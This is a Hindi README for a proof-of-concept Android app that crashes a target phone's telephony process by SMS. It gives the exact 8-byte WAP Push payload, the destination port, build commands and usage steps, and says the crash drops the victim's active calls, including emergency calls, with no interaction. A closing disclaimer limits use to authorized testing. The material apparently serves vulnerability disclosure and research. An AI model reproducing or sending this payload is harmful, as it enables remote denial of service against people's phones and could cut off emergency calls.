WAP Push रिमोट मॉडेम क्रैश (PoC)

प्रूफ-ऑफ-कॉन्सेप्ट Android ऐप जो SMS के माध्यम से एक तैयार किया गया 8-बाइट WAP Push PDU लक्षित हैंडसेट पर भेजता है। विकृत PDU WapPushOverSms.decodeWapPdu में एक NegativeArraySizeException उत्पन्न करता है, जो InboundSmsHandler में अनकैच्ड रह जाता है और प्राप्त करने वाले डिवाइस पर com.android.phone को समाप्त कर देता है — बिना किसी सहभागिता के पीड़ित की कोई भी सक्रिय कॉल, जिसमें आपातकालीन कॉल भी शामिल हैं, ड्रॉप हो जाती है।

पूरा विवरण: https://smsofdeath.com/

पेलोड

01 06 88 80 80 80 00 BE   → पोर्ट 2948 पर डेटा SMS के रूप में भेजा जाता है

बिल्ड

./gradlew assembleDebug

आउटपुट: app/build/outputs/apk/debug/app-debug.apk

Android SDK की आवश्यकता है। अपने SDK पथ के साथ local.properties बनाएँ (Android Studio यह स्वचालित रूप से करता है):

sdk.dir=/path/to/Android/sdk

उपयोग

प्रेषक डिवाइस पर इंस्टॉल करें, लक्षित नंबर दर्ज करें (या सक्रिय SIM से स्वतः भरें), भेजने वाला SIM चुनें, और SEND CRASH SMS पर टैप करें। लक्ष्य पर देखें:

adb logcat | grep -E 'NegativeArraySize|WapPushOverSms|com.android.phone'

अपेक्षित: ~1–2 सेकंड के भीतर com.android.phone में FATAL EXCEPTION और उस प्रक्रिया के लिए PID परिवर्तन, साथ में सिग्नल का संक्षिप्त नुकसान।

• minSdk 30, targetSdk/compileSdk 35।
• SEND_SMS, READ_PHONE_NUMBERS, READ_PHONE_STATE की आवश्यकता है।

अस्वीकरण

अधिकृत सुरक्षा अनुसंधान और उन डिवाइस पर परीक्षण के लिए जिनके आप स्वामी हैं या जिनका परीक्षण करने की आपके पास स्पष्ट अनुमति है। सहमति के बिना सिस्टम या व्यक्तियों के विरुद्ध इसका उपयोग न करें।